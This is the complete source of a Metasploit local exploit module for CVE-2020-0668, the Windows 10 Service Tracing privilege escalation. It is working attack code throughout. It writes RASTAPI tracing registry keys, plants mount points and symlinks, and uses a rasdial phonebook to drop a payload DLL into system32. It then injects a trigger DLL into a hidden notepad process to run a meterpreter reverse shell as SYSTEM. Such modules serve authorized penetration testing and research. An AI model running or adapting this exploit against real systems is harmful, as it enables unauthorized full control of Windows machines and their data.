This Metasploit module leverages a trusted file overwrite with a dll hijacking vulnerability to gain SYSTEM-level access on vulnerable Windows 10 x64 targets.
516baab41d9288815d39cc0f80df1826
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/post/common'
require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/registry'
require 'msf/core/exploit/exe'
require 'msf/core/post/windows/filesystem'
require 'msf/core/exploit/file_dropper'
require 'msf/core/post/file'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Common
include Msf::Post::Windows::Priv
include Msf::Exploit::EXE
include Msf::Post::Windows::FileSystem
include Msf::Post::Windows::ReflectiveDLLInjection
include Msf::Exploit::FileDropper
include Msf::Post::File
def initialize(info = {})
super(update_info(info,
'Name' => 'Service Tracing Privilege Elevation Vulnerability',
'Description' => %q(This module leverages a
trusted file overwrite with
a dll hijacking
vulnerability to gain
SYSTEM-level access on
vulnerable Windows 10 x64
targets),
'License' => MSF_LICENSE,
'Author' =>
[
'itm4n', # PoC
'bwatters-r7' # msf module
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' =>
[
['Windows x64', { 'Arch' => ARCH_X64 }]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 11 2020',
'References' =>
[
['CVE', '2020-0668'],
['URL', 'https://itm4n.github.io/cve-2020-0668-windows-service-tracing-eop/'],
['URL', 'https://github.com/itm4n/SysTracingPoc'],
['URL', 'https://github.com/RedCursorSecurityConsulting/CVE-2020-0668'],
['PACKETSTORM', '156576'],
['URL', 'https://attackerkb.com/assessments/ea5921d4-6046-4a3b-963f-08e8bde1762a'],
['URL', 'https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html']
],
'Notes' =>
{
'SideEffects' => [ ARTIFACTS_ON_DISK ]
},
'DefaultOptions' =>
{
'DisablePayloadHandler' => false,
'EXITFUNC' => 'thread',
'Payload' => 'windows/x64/meterpreter/reverse_tcp',
'WfsDelay' => 900
}))
register_options([
OptString.new('EXPLOIT_DIR',
[false, 'The directory to create for mounting (%TEMP%\\%RAND% by default).', nil]),
OptBool.new('OVERWRITE_DLL',
[true, 'Overwrite WindowsCreDeviceInfo.dll if it exists (false by default).', false]),
OptString.new('PAYLOAD_UPLOAD_NAME',
[false, 'The filename to use for the payload binary (%RAND% by default).', nil]),
OptString.new('PHONEBOOK_UPLOAD_NAME',
[false, 'The name of the phonebook file to trigger RASDIAL (%RAND% by default).', nil])
])
# stores open handles to cleanup properly
end
def write_reg_value(registry_hash)
vprint_status("Writing #{registry_hash[:value_name]} to #{registry_hash[:key_name]}")
begin
if !registry_key_exist?(registry_hash[:key_name])
registry_createkey(registry_hash[:key_name])
registry_hash[:delete_on_cleanup] = true
else
registry_hash[:delete_on_cleanup] = false
end
registry_setvaldata(registry_hash[:key_name].strip, \
registry_hash[:value_name].strip, \
registry_hash[:value_value], \
registry_hash[:value_type])
rescue Rex::Post::Meterpreter::RequestError => e
print_error(e.to_s)
end
end
def remove_reg_value(registry_hash)
# we may have already deleted the key
return unless registry_key_exist?(registry_hash[:key_name])
begin
if registry_hash[:delete_on_cleanup]
vprint_status("Deleting #{registry_hash[:key_name]} key")
registry_deletekey(registry_hash[:key_name])
else
vprint_status("Deleting #{registry_hash[:value_name]} from #{registry_hash[:key_name]} key")
registry_deleteval(registry_hash[:key_name], registry_hash[:value_name])
end
rescue Rex::Post::Meterpreter::RequestError => e
print_bad("Unable to clean up registry")
print_error(e.to_s)
end
end
def create_reg_hash(new_size, exploit_dir)
reg_keys = []
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI",
value_name: "EnableFileTracing",
value_type: "REG_DWORD",
value_value: 1,
delete_on_cleanup: false)
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI",
value_name: "FileDirectory",
value_type: "REG_EXPAND_SZ",
value_value: exploit_dir,
delete_on_cleanup: false)
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI",
value_name: "MaxFileSize",
value_type: "REG_DWORD",
value_value: new_size,
delete_on_cleanup: false)
reg_keys
end
def remove_file(file_pathname)
vprint_status("Deleting #{file_pathname}")
begin
session.fs.file.rm(file_pathname)
rescue Rex::Post::Meterpreter::RequestError
print_error("Manual cleanup of \"#{file_pathname}\" required!")
end
end
def cleanup_mountpoint(dir)
print_status("Delete mountpoint #{dir}")
unless delete_mount_point(dir)
print_error("Error when deleting the mount point.")
end
begin
session.fs.dir.rmdir(dir)
rescue Rex::Post::Meterpreter::RequestError
print_error("Error when deleting \"#{dir}\".")
end
end
def setup_process
begin
print_status('Launching notepad to host the exploit...')
notepad_process = client.sys.process.execute('notepad.exe', nil, 'Hidden' => true)
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
rescue Rex::Post::Meterpreter::RequestError
# Sandboxes could not allow to create a new process
# stdapi_sys_process_execute: Operation failed: Access is denied.
print_error('Operation failed. Trying to elevate the current process...')
process = client.sys.process.open
end
process
end
def inject_magic(process)
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'uso_trigger', 'uso_trigger.x64.dll')
library_path = ::File.expand_path(library_path)
print_status("Reflectively injecting the trigger DLL into #{process.pid}...")
dll = ''
::File.open(library_path, 'rb') { |f| dll = f.read }
exploit_mem, offset = inject_dll_data_into_process(process, dll)
vprint_status("Trigger injected.")
payload_mem = inject_into_process(process, payload.encoded)
print_status('Trigger injected. Starting thread...')
process.thread.create(exploit_mem + offset, payload_mem)
end
def launch_dll_trigger
begin
print_status('Trying to start notepad')
process = setup_process
inject_magic(process)
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
rescue Rex::Post::Meterpreter::RequestError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
print_error(e.message)
end
end
def rastapi_privileged_filecopy(file_contents, exploit_dir, upload_payload_pathname, target_payload_pathname)
handles = []
reg_hash = create_reg_hash(file_contents.length - 1, exploit_dir)
vprint_status("Registry hash = #{reg_hash}")
# set up directories and mountpoints
vprint_status("Making #{exploit_dir} on #{sysinfo['Computer']}")
mkdir(exploit_dir)
vprint_status("Made #{exploit_dir}")
register_file_for_cleanup(upload_payload_pathname)
mount_dir = '\\RPC Control\\'
# Create mountpoint
print_status("Creating mountpoint")
unless create_mount_point(exploit_dir, mount_dir)
fail_with(Failure::Unknown, "Error when creating the mount point... aborting.")
end
# Upload payload
print_status("Uploading payload to #{upload_payload_pathname}")
write_file(upload_payload_pathname, file_contents)
register_file_for_cleanup(upload_payload_pathname)
upload_md5 = session.fs.file.md5(upload_payload_pathname)
vprint_status("Payload md5 = #{Rex::Text.to_hex(upload_md5, '')}")
# Create Symlinks
print_status("Creating Symlinks")
vprint_status("Creating symlink #{upload_payload_pathname} in \\RPC Control\\RASTAPI.LOG")
symlink_handle = create_symlink(nil, "\\RPC Control\\RASTAPI.LOG", "\\??\\#{upload_payload_pathname}")
unless symlink_handle
fail_with(Failure::Unknown, "Error when creating the RASTAPI.LOG symlink... aborting.")
end
vprint_status("Collected Symlink Handle #{symlink_handle['LinkHandle']}")
handles.push(symlink_handle['LinkHandle'])
vprint_status("Creating symlink #{target_payload_pathname} in \\RPC Control\\RASTAPI.OLD")
symlink_handle = create_symlink(nil, "\\RPC Control\\RASTAPI.OLD", "\\??\\#{target_payload_pathname}")
unless symlink_handle
fail_with(Failure::Unknown, "Error when creating the RASTAPI.OLD symlink... aborting.")
end
vprint_status("Collected Symlink Handle #{symlink_handle['LinkHandle']}")
handles.push(symlink_handle['LinkHandle'])
# write registry keys
reg_hash.each do |entry|
write_reg_value(entry)
end
# Upload phonebook file
phonebook_name = datastore['PHONEBOOK_NAME'] || Rex::Text.rand_text_alpha(6..13) + '.pbk'
upload_phonebook_pathname = session.sys.config.getenv('TEMP') + "\\" + phonebook_name
launch_rasdialer(upload_phonebook_pathname)
register_file_for_cleanup(upload_phonebook_pathname)
vprint_status("Checking on #{target_payload_pathname}")
vprint_status("Upload payload md5 = #{Rex::Text.to_hex(upload_md5, '')}")
moved_md5 = session.fs.file.md5(target_payload_pathname)
vprint_status("Moved payload md5 = #{Rex::Text.to_hex(moved_md5, '')}")
# clean up after file move
print_status("Cleaning up before triggering dll load...")
print_status("Removing Registry keys")
reg_hash.each do |entry|
remove_reg_value(entry)
end
print_status("Removing Symlinks")
handles.each do |handle|
result = session.railgun.kernel32.CloseHandle(handle)
vprint_status("Closing symlink handle #{handle}: #{result['ErrorMessage']}")
end
print_status("Removing Mountpoint")
session.fs.dir.rmdir(exploit_dir)
print_status("Removing directories")
unless moved_md5 == upload_md5
fail_with(Failure::Unknown, "Payload hashes do not match; filecopy failed.")
end
end
def exploit
validate_target
validate_active_host
# dll should not already exist
win_dir = session.sys.config.getenv('windir')
target_payload_pathname = "#{win_dir}\\system32\\WindowsCoreDeviceInfo.dll"
if file?(target_payload_pathname)
print_warning("#{target_payload_pathname} already exists")
print_warning("If it is in use, the overwrite will fail")
unless datastore['OVERWRITE_DLL']
print_error("Change OVERWRITE_DLL option to true if you would like to proceed.")
fail_with(Failure::BadConfig, "#{target_payload_pathname} already exists and OVERWRITE_DLL option is false")
end
end
# set up variables
temp_dir = session.sys.config.getenv('TEMP')
exploit_dir = datastore['EXPLOIT_DIR'] || temp_dir + '\\' + Rex::Text.rand_text_alpha(6..13)
upload_payload_pathname = session.sys.config.getenv('TEMP') + "\\" + Rex::Text.rand_text_alpha(6..13) + ".dll"
payload_dll = generate_payload_dll
print_status("Payload DLL is #{payload_dll.length} bytes long")
# start file copy
rastapi_privileged_filecopy(payload_dll, exploit_dir, upload_payload_pathname, target_payload_pathname)
# launch trigger
launch_dll_trigger
print_warning("Manual cleanup after reboot required for #{target_payload_pathname} and #{exploit_dir}")
print_status("Exploit complete. It may take up to 10 minutes to get a session")
end
def validate_active_host
begin
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
rescue Rex::Post::Meterpreter::RequestError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
raise Msf::Exploit::Failed, 'Could not connect to session'
end
end
def validate_target
unless sysinfo['Architecture'] == ARCH_X64
fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
end
if session.arch == ARCH_X86
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
end
sysinfo_value = sysinfo['OS']
build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
vprint_status("Build Number = #{build_num}")
unless sysinfo_value =~ /10/ && (build_num >= 17134 && build_num <= 18363)
fail_with(Failure::NotVulnerable, 'The exploit only supports Windows 10 build versions 17134-18363')
end
end
def launch_rasdialer(upload_phonebook_pathname)
local_phonebook_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2020-0668', 'phonebook.txt')
ensure_clean_destination(upload_phonebook_pathname)
vprint_status("Uploading phonebook to #{sysinfo['Computer']} as #{upload_phonebook_pathname} from #{local_phonebook_path}")
begin
upload_file(upload_phonebook_pathname, local_phonebook_path)
rescue Rex::Post::Meterpreter::RequestError
print_error("Failed to upload phonebook")
return nil
end
print_status("Phonebook uploaded on #{sysinfo['Computer']} to #{upload_phonebook_pathname}")
# Launch RASDIAL
vprint_status("Launching Rasdialer")
rasdial_cmd = 'rasdial VPNTEST test test /PHONEBOOK:' + upload_phonebook_pathname
print_status("Running Rasdialer with phonebook #{upload_phonebook_pathname}")
output = cmd_exec('cmd.exe', "/c #{rasdial_cmd}", 60)
vprint_status(output)
end
def ensure_clean_destination(path)
return unless file?(path)
print_status("#{path} already exists on the target. Deleting...")
begin
file_rm(path)
print_status("Deleted #{path}")
rescue Rex::Post::Meterpreter::RequestError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
print_error("Unable to delete #{path}")
end
end
end